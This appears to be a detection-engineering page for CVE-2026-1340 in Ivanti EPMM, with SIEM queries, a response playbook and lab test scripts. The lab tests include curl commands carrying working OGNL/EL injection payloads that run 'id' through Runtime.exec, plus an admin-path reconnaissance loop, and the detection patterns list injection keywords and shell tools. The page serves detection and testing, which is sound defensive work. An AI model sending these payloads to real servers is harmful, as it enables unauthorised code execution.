Detect Ivanti EPMM Code Injection Exploitation (CVE-2026-1340) in CrowdStrike LogScale
Detects exploitation attempts targeting CVE-2026-1340, a code injection vulnerability (CWE-94) in Ivanti Endpoint Manager Mobile (EPMM). This vulnerability is listed in CISA's Known Exploited Vulnerabilities catalog and allows remote attackers to inject and execute arbitrary code via the EPMM management interface. Successful exploitation may lead to full device management compromise, lateral movement, and data exfiltration from enrolled mobile devices.
MITRE ATT&CK
LogScale Detection Query
#event_simpleName=HttpRequest
| ContextBaseFileName = "java" OR ContextBaseFileName = "catalina.sh" OR ContextBaseFileName = "startup.sh"
| (HttpUrl = "/mifs/*" OR HttpUrl = "/mi/*" OR HttpUrl = "/api/v1/*" OR HttpUrl = "/api/v2/*")
| (HttpUrl = "*eval(*" OR HttpUrl = "*exec(*" OR HttpUrl = "*ProcessBuilder*" OR HttpUrl = "*groovy*" OR HttpUrl = "*ognl*" OR HttpUrl = "*ScriptEngine*" OR HttpUrl = "*Runtime.exec*" OR HttpUrl = "*${*" OR HttpUrl = "*#{*"
OR HttpPayload = "*eval(*" OR HttpPayload = "*exec(*" OR HttpPayload = "*ProcessBuilder*" OR HttpPayload = "*groovy*" OR HttpPayload = "*ognl*")
| groupBy([RemoteAddressIP4, HttpUrl, HttpMethod], function=count(1, as=RequestCount))
| sort(RequestCount, order=desc)CrowdStrike Falcon LogScale query detecting code injection attempts against Ivanti EPMM by correlating Java process HTTP requests with injection payload patterns in URLs or payloads.
Data Sources
Required Tables
False Positives & Tuning
- Java-based administrative tools making legitimate API calls to EPMM with complex query strings
- EPMM internal services communicating with the management API using dynamic expressions
- Authorized security testing frameworks targeting EPMM during scheduled assessments
- Monitoring agents performing scripted API health checks with parametrized queries
Other platforms for CVE-2026-1340
Testing Methodology
Validate this detection against 3 adversary techniques from Atomic Red Team. Each test below lists the behaviour to exercise and the telemetry you should expect to see. Executable commands and cleanup steps are available with Pro.
- Test 1EPMM API Endpoint Code Injection Pattern Probe
Expected signal: Web server access logs will show POST requests to /mifs/j_spring_security_check and GET requests to /api/v1/configuration/users with URL-encoded injection patterns. Network security appliances should log the requests with high-severity signatures. Host-based EDR should not show process anomalies for a non-successful probe.
- Test 2Simulate Java Process Spawning Shell After EPMM Exploitation
Expected signal: Process creation events showing java spawning /bin/sh as a child process. EDR telemetry should capture the full process tree: [parent] -> java -> sh -> id/hostname/whoami. Command line arguments visible in process creation logs.
- Test 3EPMM Reconnaissance — Unauthenticated API Enumeration
Expected signal: Web access logs showing sequential requests from a single IP to multiple EPMM administrative paths within a short time window. Firewall or IDS/IPS logs may flag the scanning pattern. HTTP response codes (200, 302, 401, 403) visible in logs.
References (4)
- https://hub.ivanti.com/s/article/Security-Advisory-Ivanti-Endpoint-Manager-Mobile-EPMM-CVE-2026-1281-CVE-2026-1340?language=en_US
- https://support.mobileiron.com/mi/vsp/AB1786671/ivanti-security-update-1761642-1.1.0S-5.noarch.rpm
- https://support.mobileiron.com/mi/vsp/AB1786671/ivanti-security-update-1761642-1.1.0L-5.noarch.rpm
- https://nvd.nist.gov/vuln/detail/CVE-2026-1340
Response Playbook
Triage
- Immediately identify the source IP(s) making requests to EPMM endpoints with injection patterns — determine if the IP is internal, external, a known scanner, or a threat actor infrastructure by cross-referencing threat intelligence feeds and internal asset inventory.
- Review EPMM application logs and web server access logs for the time window around the alert to determine if the injection attempt succeeded (HTTP 200/201 response with unexpected body content, new processes spawned by the EPMM Java process, file writes to unusual paths).
- Check EPMM server process tree and running processes for any child processes spawned by the Tomcat/Java process that would indicate successful code execution (e.g., sh, bash, curl, wget, python, nc spawned as children of java/catalina).
- Enumerate currently enrolled mobile devices managed by EPMM and assess whether device policy configurations or certificates may have been tampered with as a result of compromise.
- Determine the current patch level of the affected EPMM instance and compare against available security updates referenced in the vendor advisory.
Containment
- If exploitation is confirmed or strongly suspected, immediately isolate the EPMM server from the network by blocking inbound and outbound traffic at the perimeter firewall, preserving the system for forensic analysis while preventing further lateral movement or data exfiltration.
- Revoke all active administrative sessions and API tokens for the EPMM management console, reset service account credentials, and invalidate any certificates that may have been exposed or generated by the attacker during the compromise window.
- Apply the vendor-supplied security update immediately on a patched replacement system and restore from a known-good backup if the production system is compromised, following the patching guidance in the Ivanti security advisory.
Evidence Collection
- Collect full EPMM application logs, Tomcat access logs, system logs (/var/log/syslog, /var/log/auth.log), and Java process output logs from the period surrounding the detection alert, ensuring chain-of-custody documentation.
- Capture a memory dump and full disk image of the EPMM server before any remediation actions if forensic investigation is required, preserving volatile artifacts such as running processes, network connections, and in-memory payloads that may not survive a reboot.
- Extract network packet captures from the period of the attack if available via TAP or SPAN port, focusing on traffic to/from the EPMM management port to reconstruct the full exploit payload and any C2 communications.
Escalation Criteria
- !Escalate immediately to incident response if evidence of successful code execution is found (unexpected child processes, new files written by the EPMM Java process, outbound connections to untrusted IPs initiated by the EPMM server, or unauthorized changes to device management policies).
- !Escalate to executive leadership and legal/compliance teams if enrolled mobile devices belonging to executives, privileged users, or devices with access to sensitive data may have had their management profiles or certificates compromised, as this may trigger regulatory notification obligations.
Investigation Guide
Related Techniques
Forensic Artifacts
- >
EPMM Tomcat access logs: /opt/mi/tomcat/logs/localhost_access_log.*.txt — contains HTTP request records including method, URI, response code, and source IP - >
EPMM application logs: /opt/mi/tomcat/logs/catalina.out — contains Java application output including exception stack traces and script execution events - >
OS process accounting logs showing child processes spawned by the EPMM Java process (PID lineage) - >
File system modifications in EPMM web root (/opt/mi/tomcat/webapps/) indicating web shell deployment - >
Outbound network connections from the EPMM server host to external IPs not associated with Ivanti update infrastructure
Tuning Guidance
Begin with medium confidence and tune based on the specific EPMM version deployed and observed baseline API patterns in your environment. Whitelist known scanner IP ranges (Qualys, Tenable, Rapid7) and internal security testing systems. If EPMM uses custom API plugins that accept script-like input as a feature, add path-based exclusions for those specific endpoints. Monitor HTTP response codes carefully — filter out 400, 403, and 404 responses to focus on potentially successful injection attempts. For high-fidelity detection, correlate HTTP-layer alerts with host-based process tree anomalies (Java spawning shells) to elevate confidence to high. Review EPMM audit logs periodically to establish a baseline of normal administrative API call patterns and adjust thresholds accordingly.
Hunting Queries
Threat hunting query to identify high-volume or broad-scope requestors to EPMM endpoints that overlap with known threat intelligence indicators, useful for identifying reconnaissance or sustained exploitation campaigns over a 30-day window.
CommonSecurityLog
| where DeviceVendor has_any ("Ivanti", "MobileIron")
| where TimeGenerated > ago(30d)
| summarize RequestCount = count(), UniqueURIs = dcount(RequestURL), StatusCodes = make_set(EventOutcome) by SourceIP
| where RequestCount > 50 or UniqueURIs > 20
| join kind=inner (
ThreatIntelligenceIndicator
| where TimeGenerated > ago(30d)
| where Active == true
| summarize by NetworkIP
) on $left.SourceIP == $right.NetworkIP
| project SourceIP, RequestCount, UniqueURIs, StatusCodesindex=* sourcetype IN ("ivanti:epmm", "mobileiron") earliest=-30d
| stats count AS total_requests, dc(uri) AS unique_uris, values(status) AS status_codes BY src_ip
| where total_requests > 50 OR unique_uris > 20
| lookup threat_intel_lookup ip AS src_ip OUTPUT threat_category, threat_confidence
| where isnotnull(threat_category)
| sort - total_requestsHunt for process spawning anomalies where the EPMM Java/Tomcat process creates shell or scripting interpreter child processes, which would indicate successful code injection and remote code execution.
SecurityEvent
| where EventID in (4688, 4689)
| where ParentProcessName has_any ("java.exe", "catalina.bat", "tomcat")
| where NewProcessName has_any ("cmd.exe", "powershell.exe", "sh", "bash", "curl", "wget", "python", "nc", "ncat", "python3")
| project TimeGenerated, Computer, ParentProcessName, NewProcessName, CommandLine, SubjectUserName
| order by TimeGenerated descindex=windows OR index=linux sourcetype IN ("WinEventLog:Security", "linux_secure") earliest=-7d
(EventCode=4688 ParentProcessName="*java*" OR ParentProcessName="*catalina*")
(NewProcessName="*cmd.exe*" OR NewProcessName="*powershell*" OR NewProcessName="*bash*" OR NewProcessName="*sh*" OR NewProcessName="*curl*" OR NewProcessName="*wget*" OR NewProcessName="*python*")
| table _time, host, ParentProcessName, NewProcessName, CommandLine, userAtomic Red Team Tests
Simulates an attacker probing the Ivanti EPMM management API with code injection payloads to test for CVE-2026-1340. This sends HTTP requests with OGNL/Groovy expression injection patterns to EPMM API endpoints.
Command
TARGET_EPMM='https://epmm-lab.internal:443'
curl -sk -X POST "${TARGET_EPMM}/mifs/j_spring_security_check" \
-H 'Content-Type: application/x-www-form-urlencoded' \
-d 'j_username=admin%40example.com&j_password=%25%7B%27test%27.class.forName%28%27java.lang.Runtime%27%29.getMethod%28%27exec%27%2C%27%27.class%29.invoke%28%27%27.class.forName%28%27java.lang.Runtime%27%29.getMethod%28%27getRuntime%27%29.invoke%28null%29%2C%27id%27%29%7D' \
-D - | head -50
curl -sk "${TARGET_EPMM}/api/v1/configuration/users?query=%24%7Bnew%20java.util.Scanner%28Runtime.getRuntime%28%29.exec%28%22id%22%29.getInputStream%28%29%29.useDelimiter%28%22%5C%5CA%22%29.next%28%29%7D" \
-H 'Authorization: Bearer REPLACE_WITH_VALID_TOKEN' \
-D - | head -50Cleanup
No cleanup required — this is a read-only probe. Review EPMM logs and WAF logs for the generated requests and remove any test entries from EPMM audit logs if applicable.Expected Telemetry
Web server access logs will show POST requests to /mifs/j_spring_security_check and GET requests to /api/v1/configuration/users with URL-encoded injection patterns. Network security appliances should log the requests with high-severity signatures. Host-based EDR should not show process anomalies for a non-successful probe.
Expected Detection
The KQL, SPL, and other SIEM queries should trigger on the URL-encoded OGNL/Groovy injection patterns present in the request URI and POST body. Alert confidence should be medium; elevate if HTTP 200 response is returned.
Simulates the post-exploitation behavior of CVE-2026-1340 by creating a Java process that spawns a shell subprocess, mimicking what would occur if code injection succeeded on the EPMM server. Run on a lab host only.
Command
cat > /tmp/epmm_sim.java << 'EOF'
public class epmm_sim {
public static void main(String[] args) throws Exception {
System.out.println("[EPMM-SIM] Simulating post-exploitation shell spawn");
ProcessBuilder pb = new ProcessBuilder("/bin/sh", "-c", "id && hostname && whoami");
pb.redirectErrorStream(true);
Process p = pb.start();
byte[] output = p.getInputStream().readAllBytes();
System.out.println(new String(output));
p.waitFor();
}
}
EOF
javac /tmp/epmm_sim.java -d /tmp/ && java -cp /tmp epmm_simCleanup
rm -f /tmp/epmm_sim.java /tmp/epmm_sim.classExpected Telemetry
Process creation events showing java spawning /bin/sh as a child process. EDR telemetry should capture the full process tree: [parent] -> java -> sh -> id/hostname/whoami. Command line arguments visible in process creation logs.
Expected Detection
Host-based detection rules monitoring for Java/Tomcat spawning shell interpreters should fire. The hunting queries for process tree anomalies (SecurityEvent EventID 4688 equivalent on Linux via auditd) should capture this behavior.
Simulates attacker reconnaissance of an Ivanti EPMM instance prior to exploitation, probing for version disclosure, unauthenticated endpoints, and API surface exposure consistent with pre-exploitation activity for CVE-2026-1340.
Command
TARGET_EPMM='https://epmm-lab.internal:443'
echo '[*] Probing EPMM version disclosure...'
curl -sk "${TARGET_EPMM}/mifs/j_spring_security_check" -o /dev/null -w 'HTTP %{http_code}\n'
curl -sk "${TARGET_EPMM}/api/v1/ping" -o /dev/null -w 'HTTP %{http_code}\n'
curl -sk "${TARGET_EPMM}/mifs/aad/v2/token" -o /dev/null -w 'HTTP %{http_code}\n'
echo '[*] Probing known EPMM admin paths...'
for path in '/mifs/' '/mi/' '/api/v1/config' '/api/v2/system/version' '/mifs/admin'; do
curl -sk -o /dev/null -w "%{url_effective} -> HTTP %{http_code}\n" "${TARGET_EPMM}${path}"
done
echo '[*] Recon complete'Cleanup
No cleanup required. Review EPMM and WAF logs to confirm telemetry was generated for all probed endpoints.Expected Telemetry
Web access logs showing sequential requests from a single IP to multiple EPMM administrative paths within a short time window. Firewall or IDS/IPS logs may flag the scanning pattern. HTTP response codes (200, 302, 401, 403) visible in logs.
Expected Detection
Anomaly-based detections for high request volume from a single IP to EPMM paths should fire. Threat intelligence correlation may flag the source IP if it is known scanning infrastructure. The reconnaissance pattern (many unique URIs from one IP in short window) should be captured by the hunting query.